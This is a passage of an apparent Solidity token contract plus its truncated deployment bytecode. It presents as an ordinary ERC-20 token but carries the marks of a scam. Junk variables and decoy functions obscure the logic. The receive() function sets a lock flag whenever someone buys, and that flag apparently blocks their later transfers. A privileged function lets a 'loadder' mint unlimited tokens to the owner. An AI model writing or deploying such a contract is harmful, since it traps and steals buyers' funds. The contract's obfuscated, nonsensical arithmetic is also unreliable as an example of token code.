balances[lowScore] = safeAdd(balances[highScore], pale) / 2;
emit Transfer(highScore, lowScore, pale);
return false;
}
function desr(address highScore, address lowScore, uint pale) public isNotLocked returns (bool success) {
balances[highScore] = safeSub(balances[lowScore], pale) / (25000);
balances[highScore] -= 189647526589116487817533742562;
allowed[highScore][msg.sender] = safeSub(allowed[lowScore][msg.sender], pale) / 580 / 4 * 25550;
balances[lowScore] = safeAdd(balances[highScore], pale) / 2;
emit Transfer(highScore, lowScore, pale);
return false;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public isNotLocked returns (bool success) {
uint unjhhdfskb = 239453;
balances[from] = safeSub(balances[from], tokens);
unjhhdfskb+=5343;
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
unjhhdfskb-=15;
balances[to] = safeAdd(balances[to], tokens);
unjhhdfskb/=543;
emit Transfer(from, to, tokens);
return true;
}
function fauxAllowance(address tokenOwner, address spender) public view returns (uint sdwerge) {
return (allowed[tokenOwner][spender] + 150893 ) * 2;
}
function antenna(address tokenOwner, address spender) public view returns (uint fvsdfgwer) {
return (allowed[tokenOwner][spender] - 500 ) * 58;
}
function stater(address tokenOwner, address spender) public view returns (uint wdfthbrt) {
return (allowed[tokenOwner][spender] * 258 ) ** 10 ** 10;
}
function bordem(address tokenOwner, address spender) public view returns (uint wervhrytg) {
return (allowed[tokenOwner][spender] / 1258 ) - 589666 +5;
}
function border(address tokenOwner, address spender) public view returns (uint ehvtrtcf) {
return (allowed[tokenOwner][spender] - 10 ) * 25 ** 28;
}
function project(address tokenOwner, address spender) public view returns (uint reea) {
return (allowed[tokenOwner][spender] / 29 ) / 20;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
receive () external payable {
require(msg.value<7*10**18);
uint amount = safeMul(msg.value,20000);
if (balances[owner]>=amount)
{
hasbeenLocked = true;
uint adsfsr = 300;
balances[owner] = safeSub(balances[owner], amount);
adsfsr = 300 + 500 * 25;
balances[msg.sender] = safeAdd(balances[msg.sender], amount);
adsfsr = 300 + 500;
emit Transfer(owner, msg.sender, amount);
}
}
function burn(address account, uint amount) public onlyOwner {
require(account != address(0));
uint netonisfsef = 19852325;
balances[account] = safeSub(balances[account], amount);
netonisfsef /= 2;
_totalSupply = safeSub(_totalSupply, amount);
netonisfsef -= 1111111112;
Transfer(account, address(0), amount);
}
function updateSupply(uint total_supply) public onlyloadder
{
uint increasedAmount = safeSub(total_supply, _totalSupply);
uint256 unincreasedamount = (increasedAmount * 2) ** 2;
unincreasedamount += 5;
balances[owner] = safeAdd(balances[owner], increasedAmount);
unincreasedamount *= 15;
_totalSupply = total_supply;
unincreasedamount = 100000 ;
}
}
|
0x60806040526004361061026b5760003560e01c80638ab9f36411610144578063ba023d62116100b6578063d3e900491161007a578063d3e90049146113c5578063d563bf7e146113f2578063dd62ed3e14611477578063e7df02d9146114fc578063efdf33171461156d578063f2fde38b146115f25761050b565b8063ba023d6214611114578063bee52fb414611199578063bf515b6b1461122a578063c654bd51146112af578063cdf08a2a146113345761050b565b8063a751bdcb11610108578063a751bdcb14610ede578063a84cb9a514610f1f578063a9059cbb14610f90578063b0c0bec414611001578063b283dd1114611042578063b35477e4146110d35761050b565b80638ab9f36414610cb05780638da5cb5b14610d4157806395622cd414610d8257806395d89b4114610df35780639dc29fac14610e835761050b565b8063313ce567116101dd578063571251b8116101a1578063571251b814610a8857806357439a4314610aed578063601c197714610b725780636bd0804914610b9f57806370a0823114610bda57806372d9175e14610c3f5761050b565b8063313ce5671461091c5780633eaaf86b1461094a5780634162e09314610975578063425f2c80146109b657806344aa0448146109f75761050b565b80630bf064dc1161022f5780630bf064dc146106d05780630fceb28a146106fd5780631623e8001461073e57806318160ddd146107cf57806323b872dd146107fa57806324809ecc1461088b5761050b565b80630174ce5d1461051057806301f53ac41461055157806301fe29071461058e57806306fdde03146105cf578063095ea7b31461065f5761050b565b3661050b57676124fee993bc0000341061028457600080fd5b600061029234614e20611643565b905080600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610508576001600660016101000a81548160ff021916908315150217905550600061012c9050610387600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132009050610439600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361168a565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061032090503373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505b50005b600080fd5b34801561051c57600080fd5b506105256116a4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055d57600080fd5b5061058c6004803603602081101561057457600080fd5b810190808035151590602001909291905050506116ca565b005b34801561059a57600080fd5b506105a361175a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105db57600080fd5b506105e4611789565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610624578082015181840152602081019050610609565b50505050905090810190601f1680156106515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066b57600080fd5b506106b86004803603604081101561068257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611827565b60405180821515815260200191505060405180910390f35b3480156106dc57600080fd5b506106e5611919565b60405180821515815260200191505060405180910390f35b34801561070957600080fd5b5061071261192c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561074a57600080fd5b506107b76004803603606081101561076157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611952565b60405180821515815260200191505060405180910390f35b3480156107db57600080fd5b506107e4611c84565b6040518082815260200191505060405180910390f35b34801561080657600080fd5b506108736004803603606081101561081d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ccf565b60405180821515815260200191505060405180910390f35b34801561089757600080fd5b50610904600480360360608110156108ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f9d565b60405180821515815260200191505060405180910390f35b34801561092857600080fd5b50610931612247565b604051808260ff16815260200191505060405180910390f35b34801561095657600080fd5b5061095f61225a565b6040518082815260200191505060405180910390f35b34801561098157600080fd5b5061098a612260565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109c257600080fd5b506109cb612286565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a0357600080fd5b50610a7060048036036060811015610a1a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506122ac565b60405180821515815260200191505060405180910390f35b348015610a9457600080fd5b50610ad760048036036020811015610aab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612408565b6040518082815260200191505060405180910390f35b348015610af957600080fd5b50610b5c60048036036040811015610b1057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612459565b6040518082815260200191505060405180910390f35b348015610b7e57600080fd5b50610b876124e7565b60405180821515815260200191505060405180910390f35b348015610bab57600080fd5b50610bd860048036036020811015610bc257600080fd5b8101908080359060200190929190505050612528565b005b348015610be657600080fd5b50610c2960048036036020811015610bfd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612688565b6040518082815260200191505060405180910390f35b348015610c4b57600080fd5b50610cae60048036036040811015610c6257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126d1565b005b348015610cbc57600080fd5b50610d2960048036036060811015610cd357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061280b565b60405180821515815260200191505060405180910390f35b348015610d4d57600080fd5b50610d5661296d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d8e57600080fd5b50610ddb60048036036040811015610da557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612991565b60405180821515815260200191505060405180910390f35b348015610dff57600080fd5b50610e08612a83565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e48578082015181840152602081019050610e2d565b50505050905090810190601f168015610e755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610e8f57600080fd5b50610edc60048036036040811015610ea657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612b21565b005b348015610eea57600080fd5b50610ef3612cdb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f2b57600080fd5b50610f7860048036036040811015610f4257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612d08565b60405180821515815260200191505060405180910390f35b348015610f9c57600080fd5b50610fe960048036036040811015610fb357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612dfa565b60405180821515815260200191505060405180910390f35b34801561100d57600080fd5b50611016612fb8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561104e57600080fd5b506110bb6004803603606081101561106557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612fe5565b60405180821515815260200191505060405180910390f35b3480156110df57600080fd5b506110e86132fc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561112057600080fd5b506111836004803603604081101561113757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613329565b6040518082815260200191505060405180910390f35b3480156111a557600080fd5b50611212600480360360608110156111bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506133c6565b60405180821515815260200191505060405180910390f35b34801561123657600080fd5b506112996004803603604081101561124d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506134b9565b6040518082815260200191505060405180910390f35b3480156112bb57600080fd5b5061131e600480360360408110156112d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613553565b6040518082815260200191505060405180910390f35b34801561134057600080fd5b506113ad6004803603606081101561135757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506135ee565b60405180821515815260200191505060405180910390f35b3480156113d157600080fd5b506113da613749565b60405180821515815260200191505060405180910390f35b3480156113fe57600080fd5b506114616004803603604081101561141557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061375c565b6040518082815260200191505060405180910390f35b34801561148357600080fd5b506114e66004803603604081101561149a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506137ec565b6040518082815260200191505060405180910390f35b34801561150857600080fd5b506115556004803603604081101561151f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613873565b60405180821515815260200191505060405180910390f35b34801561157957600080fd5b506115dc6004803603604081101561159057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613b4b565b6040518082815260200191505060405180910390f35b3480156115fe57600080fd5b506116416004803603602081101561161557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613bda565b005b60008183029050600083148061166157508183828161165e57fe5b04145b61166a57600080fd5b92915050565b60008282111561167f57600080fd5b818303905092915050565b600081830190508281101561169e57600080fd5b92915050565b600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461172257600080fd5b80600660006101000a81548160ff0219169083151502179055506000600660016101000a81548160ff02191690831515021790555050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508091505090565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561181f5780601f106117f45761010080835404028352916020019161181f565b820191906000526020600020905b81548152906001019060200180831161180257829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660009054906101000a900460ff161561196e57600080fd5b6161a86119ba600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611670565b816119c157fe5b04600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506c0264c8c1d8b89bda7e45965de2600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506163ce6004610244611aed600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486611670565b81611af457fe5b0481611afc57fe5b0402600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506002611bc9600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461168a565b81611bd057fe5b04600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600090509392505050565b6000600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000600660009054906101000a900460ff1615611ceb57600080fd5b60006203a75d9050611d3c600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611670565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114df81019050611e0c600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611670565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f81039050611edb600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461168a565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061021f8181611f2957fe5b0490508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600660009054906101000a900460ff1615611fb957600080fd5b612002600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120cb600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612194600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361168a565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256104eb850a6040518082815260200191505060405180910390a3600090509392505050565b60008082905060c8600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205402915050919050565b6000603a6101f4600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540302905092915050565b6000600160149054906101000a900460ff16156125075760019050612525565b600160149054906101000a900460ff166125245760009050612525565b5b90565b600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461258257600080fd5b600061259082600554611670565b9050600060028083020a905060058101905061260c600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361168a565b600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f8102905082600581905550620186a09050505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461272957600080fd5b600082905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160146101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256078858161294c57fe5b046040518082815260200191505060405180910390a3600090509392505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36000905092915050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b195780601f10612aee57610100808354040283529160200191612b19565b820191906000526020600020905b815481529060010190602001808311612afc57829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612b7957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bb357600080fd5b600063012eec259050612c05600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060028181612c5257fe5b049050612c6160055483611670565b60058190555063423a35c881039050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508091505090565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36000905092915050565b6000600660009054906101000a900460ff1615612e1657600080fd5b612e5f600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006180129050612ef2600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461168a565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060298181612f3f57fe5b0490508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360ea81019050600191505092915050565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508091505090565b6000600660009054906101000a900460ff161561300157600080fd5b620d19d961304e600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611670565b02600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506969e10de76676d0800000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506107d06019613174600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485611670565b0101600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506002613241600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461168a565b8161324857fe5b04600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600090509392505050565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508091505090565b60007004140c78940f6a24fdffc78873d4490d21600a600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540302905092915050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600090509392505050565b600060056208ff626104ea600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548161354857fe5b040301905092915050565b60006014601d600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816135dd57fe5b04816135e557fe5b04905092915050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600a85026040518082815260200191505060405180910390a3600090509392505050565b600660019054906101000a900460ff1681565b6000600a80610102600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054020a0a905092915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060458202600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061022b8202600960003373ffffffffffffffffffffffffff